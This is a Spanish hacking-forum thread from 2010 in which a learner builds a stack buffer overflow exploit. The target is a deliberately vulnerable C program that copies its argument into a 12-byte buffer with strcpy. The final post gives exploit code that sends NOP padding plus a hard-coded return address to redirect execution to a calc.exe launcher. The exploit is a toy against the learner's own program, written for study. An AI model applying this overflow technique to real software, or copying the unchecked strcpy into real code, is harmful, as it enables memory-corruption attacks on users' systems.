elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Meter 3 donde van 4 : ¿ Y el resto ?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Meter 3 donde van 4 : ¿ Y el resto ?  (Leído 2,108 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Meter 3 donde van 4 : ¿ Y el resto ?
« en: 29 Diciembre 2010, 19:51 pm »

Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <windows.h>
  4.  
  5. int fff ()
  6. {
  7. WinExec ("calc.exe", SW_MAX);
  8. }
  9.  
  10. int main(int argc, char **argv)
  11. {
  12. if (argc != 2) return 1;
  13. char buff[12];
  14. strcpy(buff,argv[1]);
  15. printf("\nHas escrito:   %s\n",buff);
  16.  
  17. return 0;
  18. }
  19.  
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?
Código
  1. #include <windows.h>
  2. #include <strcpy.h>
  3.  
  4. int main ()
  5. {
  6. char buff [28];
  7. int i;
  8. for (i = 0; i <= 23; i++)
  9. buff [i] = '\90'
  10.  
  11. /*
  12. Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
  13. La cosa es que tengo tres numeros donde van cuatro.
  14. */
  15.  
  16. char command [33];
  17. strcpy (command, "code ");
  18. strcat (command, buff);
  19. WinExec (command);
  20. }
  21.  

El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: Meter 3 donde van 4 : ¿ Y el resto ?
« Respuesta #1 en: 29 Diciembre 2010, 20:11 pm »

Es simple, si te sobran bytes en la dirección, lo llenas con ceros al principio, osea, es como decir: es lo mismo decir "100" que decir "0000100".
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Meter 3 donde van 4 : ¿ Y el resto ?
« Respuesta #2 en: 29 Diciembre 2010, 21:39 pm »

Bueno, gracias por tu pronta respuesta...
Eso pense al principio, pero lo descarte porque... y por que el GDB me pone eso sin ceros?

Code final:
Código
  1. #include <windows.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. ShowWindow (GetForegroundWindow (), SW_HIDE);
  7. char nop [24];
  8. memset (nop, '\x90', 24);
  9. char ret [4] = "\xc0\x13\x40\x00";
  10.  
  11. char command [33];
  12. strcpy (command, "code ");
  13. strcat (command, nop);
  14. strcat (command, ret);
  15. system (command);
  16.  
  17. return 0;
  18. }
  19.  
  20.  

Muchas gracias por todo
« Última modificación: 29 Diciembre 2010, 22:58 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como añadir una Pista de Audio sin modificar el resto del DVD
Multimedia
Mk98w 1 2,967 Último mensaje 17 Julio 2005, 04:45 am
por Mk98w
resto de 3
Programación C/C++
Ander123 3 1,994 Último mensaje 26 Agosto 2012, 16:08 pm
por -- KiLiaN --
Upvoted: ¿qué es y en qué se diferencia del resto?
Noticias
wolfbcn 0 731 Último mensaje 7 Octubre 2015, 21:28 pm
por wolfbcn
Obtener resto de la división de dos float. PHP
Desarrollo Web
OssoH 1 3,504 Último mensaje 3 Mayo 2022, 18:19 pm
por OssoH
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines